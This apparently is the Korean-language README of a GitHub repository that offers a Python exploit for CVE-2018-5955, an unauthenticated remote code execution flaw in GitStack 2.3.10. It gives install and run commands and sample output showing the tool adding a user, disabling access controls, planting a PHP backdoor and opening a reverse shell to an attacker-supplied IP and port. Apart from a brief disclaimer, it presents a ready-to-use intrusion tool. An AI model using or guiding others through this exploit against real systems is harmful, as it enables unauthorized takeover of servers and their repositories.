mikethehash/cve-2018-5955An exploit for CVE-2018-5955 GitStack 2.3.10 Unauthenticated RCE
CVE-2018-5955 GitStack 2.3.10 인증되지 않은 RCE 익스플로잇
익스플로잇: GitStack 2.3.10 인증되지 않은 원격 코드 실행
날짜: 2018-01-18
소프트웨어 링크: https://gitstack.com/
익스플로잇 작성자: Kacper Szurek
원본 익스플로잇: https://www.exploit-db.com/exploits/43777
웹사이트: https://security.szurek.pl/
카테고리: 원격
CVE: CVE-2018-5955
날짜: 2023-06-23
새로운 기능: 대화형 RCE, OS 감지, 리버스 셸 함수, python2에서 python3로 적용됨
CVE: CVE-2018-5955
카테고리: 원격
저는 귀하의 행동에 대해 책임을 지지 않습니다. 이 내용은 교육 목적 또는 인증된 승인된 침투 테스트를 위해 GitHub에 게시되었습니다.
필수 패키지 설치:
pip install colorama
그런 다음 다음 명령으로 실행할 수 있습니다:
python3 exploit.py
CVE를 익스플로잇한 후 OS가 감지됩니다. 실제로 다음과 같은 출력 라인이 나타납니다: "[*] OS: $operatingsystem" (아래 시연)
[+] 사용자 목록 가져오기
[+] 사용자 twreath 찾음
[+] 웹 리포지토리가 이미 활성화됨
[+] 리포지토리 목록 가져오기
[+] 리포지토리 Website 찾음
[+] 리포지토리에 사용자 추가
[+] 모두에 대한 액세스 비활성화
[+] PHP 백도어 생성
[*] 'shell'을 입력하면 리버스 셸을 획득합니다
[*] OS : Windows <----
또한 "os"를 입력하여 운영 체제 유형을 확인할 수 있습니다
대상에서 실제 리버스 셸을 얻으려면 "shell"을 입력한 다음 IP와 리스닝 포트를 다음과 같이 입력하십시오:
RCE > shell
[?] 리버스 셸의 IP 주소를 입력하십시오: YOUR IP HERE
[?] 리버스 셸의 포트 번호를 입력하십시오: YOUR LISTEN PORT HERE